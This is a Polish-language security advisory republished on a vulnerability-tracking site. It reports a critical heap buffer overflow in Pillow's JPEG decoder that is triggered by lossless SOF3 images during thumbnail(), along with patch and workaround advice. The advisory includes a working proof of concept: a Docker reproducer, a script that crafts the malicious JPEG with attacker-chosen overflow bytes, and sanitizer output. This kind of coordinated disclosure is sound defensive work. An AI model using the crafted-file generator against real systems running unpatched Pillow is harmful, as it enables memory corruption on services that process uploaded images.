Krytyczna

Pillow: Przepełnienie bufora na stercie w ImagingJpegDecode

  • Ujawniono: 20.10.2026
  • Aktualizacja: 21.10.2026 10:00

Podsumowanie

JpegImageFile.draft() — wywoływane automatycznie przez Image.thumbnail() — żąda wyjścia JPEG przeskalowanego o 1/2, 1/4 lub 1/8 i zmniejsza self._size oraz wymiary kafelków w celu dopasowania, w wyniku czego _setimage() alokuje jednowierszowy bufor dekodowania o rozmiarze ceil(W/s) próbek. ImagingJpegDecode() ustawia cinfo.scale_num/scale_denom, wywołuje jpeg_start_decompress(), a następnie odczytuje linie skanowania do tego bufora bez wcześniejszego porównania cinfo.output_width, cinfo.output_height ani cinfo.out_color_components z state->xsize, state->ysize i state->bits.

libjpeg-turbo 3.x dekoduje bezstratne obrazy JPEG (SOF3), lecz na stałe wyłącza skalowanie dla strumieni bezstratnych — żądane scale_denom jest po cichu odrzucane. W efekcie zwraca wiersze o pełnej szerokości W próbek do bufora o rozmiarze dostosowanym do ceil(W/s). Każde wywołanie jpeg_read_scanlines() zapisuje (W - ceil(W/s)) x components bajtów poza końcem alokacji na stercie, a przepełniające bajty to zdekodowane wartości pikseli, które są dokładne co do bajtu dla 8-bitowego bezstratnego obrazu w skali szarości.

Dane wejściowe są zgodne ze standardem JPEG, dlatego Image.open(..., formats=["JPEG"]) temu nie zapobiega. Parser SOF w języku Python w bibliotece Pillow akceptuje już znacznik 0xFFC3 („SOF3”, „Spatial lossless”) przy precyzji 8-bitowej, więc plik otwiera się normalnie jako obraz JPEG / tryb L o pełnym zadeklarowanym rozmiarze.

Kod dotknięty podatnością

W e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() w :240, jpeg_read_scanlines() w :252, bez weryfikacji geometrii pomiędzy nimi.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) z state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); oblicza s i zmniejsza _size, wymiary kafelków oraz decoderconfig bez uwzględnienia kodowania bezstratnego.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
c
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Ponieważ state->ysize (ceil(H/s)) nigdy nie może równać się wartości libjpeg output_height, gdy zachodzi s >= 2, dekodowanie zawsze kończy się błędem po zapisaniu wierszy: wywołujący widzi wyjątek i nie otrzymuje żadnych pikseli. OSError jest konsekwencją przepełnienia, a nie samym zgłaszanym problemem.

Prymityw

Na każdą linię skanowania: ciągły zapis (W - ceil(W/s)) x c bajtów bezpośrednio za blokiem calloc(ceil(W/s) x c), gdzie c = 1 dla trybu L oraz 4 dla RGB (RGBX) i CMYK; powtarzany dla ceil(H/s) wierszy w tym samym obszarze. Klasa rozmiaru bufora jest wybierana przez atakującego za pośrednictwem W, a w przypadku skali szarości przepełniająca zawartość jest dowolnym ciągiem bajtów wybranym przez atakującego.

Zmierzone w poniższym odtworzeniu błędu: 1200x1100 tryb L, s=2 — alokacja 600 bajtów, 600 bajtów zapisanych poza nią, ASan zgłasza cały zapis wiersza 1200 bajtów jako pojedyncze memcpy.

Próg: draft() musi wybrać s >= 2, tj. W // requested_w >= 2 i H // requested_h >= 2. Dla thumbnail((256,256)) z domyślnym reducing_gap=2.0 oznacza to W, H >= 1024.

Odtworzenie

Samodzielny reproduktor Docker (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 oraz Pillow skompilowane ze źródeł z -fsanitize=address; Pillow pobrane z ${TARGET_COMMIT}, domyślne e41083f383c9cd3db95de52564cc0b6452313d4a). Zapisz poniższe trzy pliki jako Dockerfile, make_sof3.py oraz trigger.py w pustym katalogu, a następnie:

bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py jest samodzielnym enkoderem, który emituje zgodny ze standardami 8-bitowy bezstratny obraz JPEG Huffmana w skali szarości (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predyktor 1, Se=0, Ah=Al=0 / zakodowane entropijnie różnice wierszy / EOI), którego wiersze przenoszą powtarzający się wzorzec znaczników. trigger.py otwiera go i wywołuje thumbnail(), którego niejawne draft() wybiera s=2 i alokuje 600-bajtowy bufor wiersza.

Dockerfile

dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

make_sof3.py

python
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer


class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()


def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows


def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")

trigger.py

python
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Zweryfikowane wyjście:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #0 __asan_memcpy
    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #0 calloc
    #1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Kontrola negatywna, ten sam obraz: bazowy DCT JPEG o identycznych wymiarach generuje miniaturę poprawnie, ponieważ libjpeg respektuje skalowanie 1/2 dokładnie tak, jak obliczył to draft().

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Zakres i zastrzeżenia

  • Odtworzono na main pod commitem e41083f383c9cd3db95de52564cc0b6452313d4a, który reprezentuje bieżący origin/main z dnia 2026-08-30. Zgłoszono również dla 12.3.0.
  • Wymaga zlinkowanego libjpeg z obsługą bezstratnego dekodowania, tj. libjpeg-turbo >= 3.0. Taka wersja jest dołączana do oficjalnych paczek wheel Pillow. Kompilacje z libjpeg-turbo 2.x lub IJG libjpeg odrzucają SOF3 przed zdekodowaniem jakiegokolwiek wiersza i nie są podatne.
  • Nie wymaga niestandardowej konfiguracji Pillow: Image.thumbnail() domyślnie wywołuje draft(), a bajty wyzwalające pochodzą wyłącznie z danych pliku.
  • Podatne są wyłącznie ścieżki używające draft() przed załadowaniem. open().load() i resize() dekodują w skali 1 i nie są dotknięte problemem. Wywołanie img.load() przed thumbnail() lub wywołanie thumbnail(..., reducing_gap=None) pozwala obecnie uniknąć tej ścieżki w aplikacji.
  • Brak podatności na tej samej ścieżce kodu: SOF11 (bezstratny arytmetyczny) kończy się błędem JERR_ARITH_NOTIMPL przed jakimkolwiek wierszem; bezstratne formaty 12- i 16-bitowe są odrzucane przez SOF() Pillow, ponieważ wymagana jest precyzja bits == 8; SOF5-7/13-15 kończą się błędem JERR_SOF_UNSUPPORTED.

Podziękowania i ujawnienie

Znalezione przez Anthropic z wykorzystaniem Claude do badania bezpieczeństwa oprogramowania open-source, zweryfikowane ręcznie przez Ada Logics.

Raport jest zgodny z polityką skoordynowanego ujawniania podatności firmy Anthropic (https://www.anthropic.com/coordinated-vulnerability-disclosure), z 90-dniowym oknem ujawnienia od daty zgłoszenia.

Podziękowania dla Claude (Anthropic) oraz Ada Logics.

Co trzeba zrobić

Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej. W wersjach dotkniętych podatnością biuletyn wskazuje, że unikanie draft() przed załadowaniem, wywołanie img.load() przed thumbnail() lub wywołanie thumbnail(..., reducing_gap=None) pozwala ominąć podatną ścieżkę kodu.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow < 13.0.0 13.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-122
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
20.10.2026
Aktualizacja
21.10.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-8g5g-8vmr-9782 - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (82) w archiwum
Wszystkich wpisów
82
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 11
  • Wysoka 53
  • Średnia 16
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 24

wcześniej: 12

Istotność:
  1. Pillow: Przepełnienie bufora na stercie w ImagingJpegDecode ten wpis
    Krytyczna CVE-2026-112403 < 13.0.0 13.0.0
  2. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Wysoka · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Wysoka CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Wysoka · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Wysoka · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Krytyczna · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Pokaż więcej (20) Widać 20 z 64

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.